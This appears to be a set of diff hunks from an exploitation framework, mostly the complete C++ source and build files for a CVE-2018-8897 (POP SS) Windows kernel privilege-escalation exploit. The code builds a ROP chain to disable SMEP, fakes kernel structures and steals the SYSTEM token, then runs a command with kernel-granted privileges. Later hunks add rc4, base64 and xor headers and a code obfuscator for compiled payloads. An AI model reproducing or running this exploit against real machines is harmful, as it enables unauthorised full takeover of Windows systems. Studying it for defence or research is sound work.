ULONG KvaShadowEnabled : 1;
ULONG KvaShadowUserGlobal : 1;
ULONG KvaShadowPcid : 1;
ULONG KvaShadowInvpcid : 1;
ULONG Reserved : 28;
} KvaShadowFlags;
} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, *PSYSTEM_KERNEL_VA_SHADOW_INFORMATION;
typedef UNICODE_STRING *PUNICODE_STRING;
#pragma pack(pop)
#define NtCurrentProcess() ( HANDLE(-1) )
#define SeLoadDriverPrivilege 10ull
#define SystemModuleInformation 0xBull
#define SystemKernelVaShadowInformation 196ull
#define AdjustCurrentProcess 0ull
#define STATUS_SUCCESS 0
using fnFreeCall = uint64_t( __fastcall* )( ... );
template<typename ...Params>
static NTSTATUS __NtRoutine( const char* Name, Params &&... params )
{
auto fn = ( fnFreeCall ) GetProcAddress( GetModuleHandleA( "ntdll.dll" ), Name );
return fn( std::forward<Params>( params ) ... );
}
#define NtQuerySystemInformation(...) __NtRoutine("NtQuerySystemInformation", __VA_ARGS__)
#define RtlAdjustPrivilege(...) __NtRoutine("RtlAdjustPrivilege", __VA_ARGS__)
#define NtUnloadDriver(...) __NtRoutine("NtUnloadDriver", __VA_ARGS__)
#define NtLoadDriver(...) __NtRoutine("NtLoadDriver", __VA_ARGS__)
static BOOL AcquirePrivilege( DWORD Privilage, DWORD Proc )
{
BOOLEAN Enabled = 0;
return !RtlAdjustPrivilege( Privilage, 1ull, Proc, &Enabled ) || Enabled;
}

View File

@ -0,0 +1,12 @@
# CVE-2018-8897
Demo exploitation of the POP SS vulnerability (CVE-2018-8897), leading to unsigned code execution with kernel privilages.
- KVA Shadowing should be disabled and [the relevant security update](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8897) should be uninstalled.
- This may not work with certain hypervisors (like VMWare), which discard the pending #DB after INT3.
## Detailed explanation:
https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/
## Result:
![](https://blog.can.ac/wp-content/uploads/2018/05/K1DL2.png)
![](https://blog.can.ac/wp-content/uploads/2018/05/aF6dL.png)

View File

@ -0,0 +1,387 @@
#include <iostream>
#include <Windows.h>
#include <intrin.h>
#include "KernelRoutines.h"
#include "LockedMemory.h"
#include "Native.h"
#include "Error.h"
struct ISR_STACK
{
uint64_t RIP;
uint64_t CS;
uint64_t EF;
uint64_t RSP;
};
// Doensn't really change
static const uint32_t Offset_Pcr__Self = 0x18;
static const uint32_t Offset_Pcr__CurrentPrcb = 0x20;
static const uint32_t Offset_Pcr__Prcb = 0x180;
static const uint32_t Offset_Prcb__CurrentThread = 0x8;
static const uint32_t Offset_Context__XMM13 = 0x270;
static const uint32_t MxCsr__DefVal = 0x1F80;
static const uint32_t Offset_Prcb__RspBase = 0x28;
static const uint32_t Offset_KThread__InitialStack = 0x28;
static const uint32_t Offset_Prcb__Cr8 = 0x100 + 0xA0;
static const uint32_t Offset_Prcb__Cr4 = 0x100 + 0x18;
// Requires patterns
NON_PAGED_DATA static uint32_t Offset_Prcb__Context = 0x0; // @KeBugCheckEx
NON_PAGED_DATA static uint32_t Offset_KThread__ApcStateFill__Process = 0x0; // @PsGetCurrentProcess
NON_PAGED_DATA uint64_t ContextBackup[ 10 ];
NON_PAGED_DATA fnFreeCall k_PsDereferencePrimaryToken = 0;
NON_PAGED_DATA fnFreeCall k_PsReferencePrimaryToken = 0;
NON_PAGED_DATA fnFreeCall k_PsGetCurrentProcess = 0;
NON_PAGED_DATA uint64_t* k_PsInitialSystemProcess = 0;
NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0;
using fnIRetToVulnStub = void( * )( uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup );
NON_PAGED_DATA BYTE IRetToVulnStub[] =
{
0x0F, 0x22, 0xE1, // mov cr4, rcx ; cr4 = original cr4
0x48, 0x89, 0xD4, // mov rsp, rdx ; stack = isr stack
0x4C, 0x89, 0xC1, // mov rcx, r8 ; rcx = ContextBackup
0xFB, // sti ; enable interrupts
0x48, 0x31, 0xC0, // xor rax, rax ; lower irql to passive_level
0x44, 0x0F, 0x22, 0xC0, // mov cr8, rax
0x48, 0xCF // iretq ; interrupt return
};
NON_PAGED_DATA uint64_t PredictedNextRsp = 0;
NON_PAGED_DATA ptrdiff_t StackDelta = 0;
NON_PAGED_CODE void KernelShellcode()
{
__writedr( 7, 0 );
uint64_t Cr4Old = __readgsqword( Offset_Pcr__Prcb + Offset_Prcb__Cr4 );
__writecr4( Cr4Old & ~( 1 << 20 ) );
__swapgs();
// Uncomment if it bugchecks to debug:
// __writedr( 2, StackDelta );
// __writedr( 3, PredictedNextRsp );
// __debugbreak();
// ^ This will let you see StackDelta and RSP clearly in a crash dump so you can check where the process went bad
uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38;
// Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault
while (
( ( ISR_STACK* ) IsrStackIterator )->CS == 0x10 &&
( ( ISR_STACK* ) IsrStackIterator )->RIP > 0x7FFFFFFEFFFF )
{
__rollback_isr( IsrStackIterator );
// We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta
if ( ( ( ISR_STACK* ) ( IsrStackIterator + 0x30 ) )->CS == 0x33 )
{
/*
fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap
fffff00e`d7a1bc40 0000000000000010
fffff00e`d7a1bc48 0000000000000002
fffff00e`d7a1bc50 fffff00ed7a1bc68
fffff00e`d7a1bc58 0000000000000000
fffff00e`d7a1bc60 0000000000000014
fffff00e`d7a1bc68 00007ff7e2261e95 --
fffff00e`d7a1bc70 0000000000000033
fffff00e`d7a1bc78 0000000000000202
fffff00e`d7a1bc80 000000ad39b6f938
*/
IsrStackIterator = IsrStackIterator + 0x30;
break;
}
IsrStackIterator -= StackDelta;
}
PVOID KStub = ( PVOID ) k_ExAllocatePool( 0ull, ( uint64_t )sizeof( IRetToVulnStub ) );
Np_memcpy( KStub, IRetToVulnStub, sizeof( IRetToVulnStub ) );
// ------ KERNEL CODE ------
uint64_t SystemProcess = *k_PsInitialSystemProcess;
uint64_t CurrentProcess = k_PsGetCurrentProcess();
uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess );
uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess );
for ( int i = 0; i < 0x500; i += 0x8 )
{
uint64_t Member = *( uint64_t * ) ( CurrentProcess + i );
if ( ( Member & ~0xF ) == CurrentToken )
{
*( uint64_t * ) ( CurrentProcess + i ) = SystemToken;
break;
}
}
k_PsDereferencePrimaryToken( CurrentToken );
k_PsDereferencePrimaryToken( SystemToken );
// ------ KERNEL CODE ------
__swapgs();
( ( ISR_STACK* ) IsrStackIterator )->RIP += 1;
( fnIRetToVulnStub( KStub ) )( Cr4Old, IsrStackIterator, ContextBackup );
}
PUCHAR AllocateLockedMemoryForKernel( SIZE_T Sz )
{
PUCHAR Va = ( PUCHAR ) VirtualAlloc( 0, Sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE );
ZeroMemory( Va, Sz );
for ( int i = 0; i < Sz; i += 0x1000 )
Np_TryLockPage( Va + i );
return Va;
}
int main(int argc, char *argv[])
{
if (argc < 2){
return 0;
}
// Pre-init checks: KVA Shadow
SYSTEM_KERNEL_VA_SHADOW_INFORMATION KvaInfo = { 0 };
if ( !NtQuerySystemInformation( SystemKernelVaShadowInformation, &KvaInfo, ( uint64_t ) sizeof( KvaInfo ), 0ull ) )
assert( !KvaInfo.KvaShadowFlags.KvaShadowEnabled );
// Initialization: Memory allocation, locking sections, loading nt
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xA );
assert( Np_LockSections() );
assert( Np_TryLockPage( &__rollback_isr ) );
assert( Np_TryLockPage( &__swapgs ) );
KernelContext* KrCtx = Kr_InitContext();
assert( KrCtx );
static PUCHAR Pcr = AllocateLockedMemoryForKernel( 0x10000 );
static PUCHAR KThread = AllocateLockedMemoryForKernel( 0x10000 );
static PUCHAR KProcess = AllocateLockedMemoryForKernel( 0x10000 );
static PUCHAR Prcb = Pcr + Offset_Pcr__Prcb;
// Offsets: Finding offsets and ROP gadgets
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xB );
PIMAGE_DOS_HEADER DosHeader = ( PIMAGE_DOS_HEADER ) KrCtx->NtLib;
PIMAGE_NT_HEADERS FileHeader = ( PIMAGE_NT_HEADERS ) ( ( uint64_t ) DosHeader + DosHeader->e_lfanew );
PIMAGE_SECTION_HEADER SectionHeader = ( PIMAGE_SECTION_HEADER ) ( ( ( uint64_t ) &FileHeader->OptionalHeader ) + FileHeader->FileHeader.SizeOfOptionalHeader );
while ( _strcmpi( ( char* ) SectionHeader->Name, ".text" ) ) SectionHeader++;
uint64_t AdrRetn = 0;
uint64_t AdrPopRcxRetn = 0;
uint64_t AdrSetCr4Retn = 0;
PUCHAR NtBegin = ( PUCHAR ) KrCtx->NtLib + SectionHeader->VirtualAddress;
PUCHAR NtEnd = NtBegin + SectionHeader->Misc.VirtualSize;
// Find [RETN]
for ( PUCHAR It = NtBegin; It < NtEnd; It++ )
{
if ( It[ 0 ] == 0xC3 )
{
AdrRetn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase;
break;
}
}
// Find [POP RCX; RETN]
for ( PUCHAR It = NtBegin; It < NtEnd; It++ )
{
if ( It[ 0 ] == 0x59 && It[ 1 ] == 0xC3 )
{
AdrPopRcxRetn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase;
break;
}
}
// Find [MOV CR4, RCX; RETN]
for ( PUCHAR It = NtBegin; It < NtEnd; It++ )
{
if ( It[ 0 ] == 0x0F && It[ 1 ] == 0x22 &&
It[ 2 ] == 0xE1 && It[ 3 ] == 0xC3 )
{
AdrSetCr4Retn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase;
break;
}
}
printf( "[+] [RETN] Gadget @ %16llx\n", AdrRetn );
printf( "[+] [POP RCX; RETN] Gadget @ %16llx\n", AdrPopRcxRetn );
printf( "[+] [MOV CR4, RCX; RETN] Gadget @ %16llx\n", AdrSetCr4Retn );
assert( AdrRetn );
assert( AdrPopRcxRetn );
assert( AdrSetCr4Retn );
PUCHAR UPsGetCurrentProcess = ( PUCHAR ) GetProcAddress( KrCtx->NtLib, "PsGetCurrentProcess" );
PUCHAR UKeBugCheckEx = ( PUCHAR ) GetProcAddress( KrCtx->NtLib, "KeBugCheckEx" );
for ( int i = 0; i < 0x50; i++ )
{
if ( UKeBugCheckEx[ i ] == 0x48 && UKeBugCheckEx[ i + 1 ] == 0x8B && // mov rax,
UKeBugCheckEx[ i + 7 ] == 0xE8 ) // call
{
Offset_Prcb__Context = *( int32_t * ) ( UKeBugCheckEx + i + 3 );
break;
}
}
for ( int i = 0; i < 0x50; i++ )
{
if ( UPsGetCurrentProcess[ i ] == 0x48 && UPsGetCurrentProcess[ i + 1 ] == 0x8B && // mov rax,
UPsGetCurrentProcess[ i + 7 ] == 0xC3 ) // retn
{
Offset_KThread__ApcStateFill__Process = *( int32_t * ) ( UPsGetCurrentProcess + i + 3 );
break;
}
}
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD );
printf( "[+] Prcb.Context @ %16llx\n", Offset_Prcb__Context );
printf( "[+] KThread.ApcStateFill.Process @ %16llx\n", Offset_KThread__ApcStateFill__Process );
assert( Offset_Prcb__Context );
assert( Offset_KThread__ApcStateFill__Process );
// Setting up GSBASE
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xC );
*( PVOID* ) ( Pcr + Offset_Pcr__Self ) = Pcr; // Pcr.Self
*( PVOID* ) ( Pcr + Offset_Pcr__CurrentPrcb ) = Pcr + Offset_Pcr__Prcb; // Pcr.CurrentPrcb
*( DWORD* ) ( Prcb ) = MxCsr__DefVal; // Prcb.MxCsr
*( PVOID* ) ( Prcb + Offset_Prcb__CurrentThread ) = KThread; // Prcb.CurrentThread
*( PVOID* ) ( Prcb + Offset_Prcb__Context ) = Prcb + 0x3000; // Prcb.Context, Placeholder
*( PVOID* ) ( KThread + Offset_KThread__ApcStateFill__Process ) = KProcess; // EThread.ApcStateFill.EProcess
*( PVOID* ) ( Prcb + Offset_Prcb__RspBase ) = (PVOID) 1; // Prcb.RspBase
*( PVOID* ) ( KThread + Offset_KThread__InitialStack ) = 0; // EThread.InitialStack
printf( "[+] Finished setting up fake PCR!\n" );
printf( "[+] Pcr @ %16llx\n", Pcr );
printf( "[+] Prcb @ %16llx\n", Prcb );
printf( "[+] EThread @ %16llx\n", KThread );
printf( "[+] EProcess @ %16llx\n", KProcess );
NON_PAGED_DATA static DWORD SavedSS = __readss();
// Execute Exploit!
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF );
HANDLE ThreadHandle = CreateThread( 0, 0, [ ] ( LPVOID ) -> DWORD
{
volatile PCONTEXT Ctx = *( volatile PCONTEXT* ) ( Prcb + Offset_Prcb__Context );
while ( !Ctx->Rsp ); // Wait for RtlCaptureContext to be called once so we get leaked RSP
uint64_t StackInitial = Ctx->Rsp;
while ( Ctx->Rsp == StackInitial ); // Wait for it to be called another time so we get the stack pointer difference
// between sequential KiDebugTrapOrFault's
StackDelta = Ctx->Rsp - StackInitial;
PredictedNextRsp = Ctx->Rsp + StackDelta; // Predict next RSP value when RtlCaptureContext is called
uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8; // Predict where the return pointer will be located at
NextRetPtrStorage &= ~0xF;
*( uint64_t* ) ( Prcb + Offset_Prcb__Context ) = NextRetPtrStorage - Offset_Context__XMM13;
// Make RtlCaptureContext write XMM13-XMM15 over it
return 0;
}, 0, 0, 0 );
assert( ThreadHandle );
printf( "\n- Created context watchdog\n" );
printf( "- Thread Id: %16llx\n", ( HANDLE ) GetThreadId( ThreadHandle ) );
assert( SetThreadPriority( ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL ) );
printf( "- Elevated priority to: THREAD_PRIORITY_TIME_CRITICAL\n" );
SetThreadAffinityMask( ThreadHandle, 0xFFFFFFFE );
SetThreadAffinityMask( HANDLE( -2 ), 0x00000001 );
printf( "- Seperated exploit and context watchdog processors\n" );
k_ExAllocatePool = KrCtx->GetProcAddress<>( "ExAllocatePool" );
k_PsReferencePrimaryToken = KrCtx->GetProcAddress<>( "PsReferencePrimaryToken" );
k_PsDereferencePrimaryToken = KrCtx->GetProcAddress<>( "PsDereferencePrimaryToken" );
k_PsGetCurrentProcess = KrCtx->GetProcAddress<>( "PsGetCurrentProcess" );
k_PsInitialSystemProcess = KrCtx->GetProcAddress<uint64_t*>( "PsInitialSystemProcess" );
printf( "\n" );
printf( "- PsInitialSystemProcess: %16llx\n", k_PsInitialSystemProcess );
printf( "- PsGetCurrentProcess: %16llx\n", k_PsGetCurrentProcess );
printf( "- PsReferencePrimaryToken: %16llx\n", k_PsReferencePrimaryToken );
printf( "- PsDereferencePrimaryToken: %16llx\n", k_PsDereferencePrimaryToken );
printf( "- ExAllocatePool: %16llx\n", k_ExAllocatePool );
printf( "\n" );
printf( "/--------------------------------------\\\n" );
printf( "| Press any key to start exploit! |\n" );
printf( "| Warning: This may bugcheck your PC. |\n" );
printf( "\\--------------------------------------/\n" );
//system( "pause>nul" );
printf( "\n" );
CONTEXT Ctx = { 0 };
Ctx.Dr0 = ( uint64_t ) &SavedSS; // Trap SS
Ctx.Dr1 = ( uint64_t ) Prcb + Offset_Prcb__Cr8; // Trap KiSaveProcessorControlState, Cr8 storage
Ctx.Dr7 =
( 1 << 0 ) | ( 3 << 16 ) | ( 3 << 18 ) | // R/W, 4 Bytes, Active
( 1 << 2 ) | ( 3 << 20 ) | ( 2 << 22 ); // W, 8 Bytes, Active
Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
printf( "[+] Setting up debug registers:\n" );
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD );
printf( "Dr0: %16llx [@SavedSS] (R/W, 4 Bytes, Active)\n", Ctx.Dr0 );
printf( "Dr1: %16llx [@SpecialRegisters.CR4] (W, 8 Bytes, Active)\n", Ctx.Dr1 );
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF );
assert( SetThreadContext( HANDLE( -2 ), &Ctx ) );
printf( "\n" );
uint64_t RetnRetn[ 2 ] = { AdrRetn, AdrRetn };
uint64_t PopRcxRetnRcx[ 2 ] = { AdrPopRcxRetn, 0x506f8 };
uint64_t SetCr4Retn[ 2 ] = { AdrSetCr4Retn, ( uint64_t ) &KernelShellcode };
// RSP:
__setxmm13( ( BYTE* ) RetnRetn ); // &retn // we need to align xmm writes so two place holders just incase!
// &retn
__setxmm14( ( BYTE* ) PopRcxRetnRcx ); // &pop rcx
// 0x506f8
__setxmm15( ( BYTE* ) SetCr4Retn ); // &mov cr4, rcx; retn
// &KernelShellcode
printf( "[+] Built ROP Chain:\n" );
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD );
printf( "-- &retn; (%016llx)\n", RetnRetn[ 0 ] );
printf( "-- &retn; (%016llx)\n", RetnRetn[ 1 ] );
printf( "-- &pop rcx; retn; (%016llx)\n", PopRcxRetnRcx[ 0 ] );
printf( "-- cr4_nosmep (%016llx)\n", PopRcxRetnRcx[ 1 ] );
printf( "-- &mov cr4, rcx; retn; (%016llx)\n", SetCr4Retn[ 0 ] );
printf( "-- &KernelShellcode (%016llx)\n", SetCr4Retn[ 1 ] );
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF );
printf( "\n" );
PVOID ProperGsBase = __read_gs_base();
printf( "[+] Writing fake PCR as new GSBASE: %16llx\n", Pcr );
printf( "[+] Defering debug exception...\n" );
__set_gs_base( Pcr );
__triggervuln( ContextBackup, &SavedSS ); // Let the fun begin
__set_gs_base( ProperGsBase );
printf( "[+] Restored old GSBASE: %16llx\n", ProperGsBase );
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xA );
printf( "[+] Exploit successful!\n\n" );
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF );
printf( "/------------------------------------------\\\n" );
printf( "| Press any key to launch a system console |\n" );
printf( "\\------------------------------------------/" );
//system( "pause>nul" );
system( argv[1] );
}

View File

@ -0,0 +1,22 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.21005.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2018-8897-exe", "cve-2018-8897-exe.vcxproj", "{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Debug|Win32.ActiveCfg = Debug|Win32
{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Debug|Win32.Build.0 = Debug|Win32
{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Release|Win32.ActiveCfg = Release|x64
{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Release|Win32.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,160 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<ItemGroup>
<ClInclude Include="Error.h" />
<ClInclude Include="KernelRoutines.h" />
<ClInclude Include="LockedMemory.h" />
<ClInclude Include="Native.h" />
<ClInclude Include="NtDefines.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="cve-2018-8897-exe.cpp" />
</ItemGroup>
<ItemGroup>
<MASM Include="Native.asm" />
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>cve20188897exe</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

View File

@ -0,0 +1,44 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="KernelRoutines.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="LockedMemory.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Native.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="NtDefines.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Error.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="cve-2018-8897-exe.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<MASM Include="Native.asm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
</Project>

View File

@ -20,7 +20,10 @@ module Metasploit
'stdlib.h' => ['stddef.h'],
'stdio.h' => ['stddef.h'],
'String.h' => ['stddef.h'],
'Winsock2.h' => ['stddef.h', 'Windows.h']
'Winsock2.h' => ['stddef.h', 'Windows.h'],
'rc4.h' => ['String.h', 'stdlib.h'],
'base64.h' => ['stddef.h'],
'xor.h' => ['stddef.h']
}
end

View File

@ -2,6 +2,7 @@ require 'metasm'
require 'erb'
require 'metasploit/framework/compiler/utils'
require 'metasploit/framework/compiler/headers/windows'
require 'metasploit/framework/obfuscation/crandomizer'
module Metasploit
module Framework
@ -13,7 +14,7 @@ module Metasploit
#
# @param c_template [String] The C source code to compile.
# @param type [Symbol] PE type, either :exe or :dll
# @param cpu [Object] A Metasm cpu object, for example: Metasm::Ia32.new
# @param cpu [Metasm::CPU] A Metasm cpu object, for example: Metasm::Ia32.new
# @raise [NotImplementedError] If the type is not supported.
# @return [String] The compiled code.
def self.compile_c(c_template, type=:exe, cpu=Metasm::Ia32.new)
@ -36,10 +37,38 @@ module Metasploit
# @param out_file [String] The file path to save the binary as.
# @param c_template [String] The C source code to compile.
# @param type [Symbol] PE type, either :exe or :dll
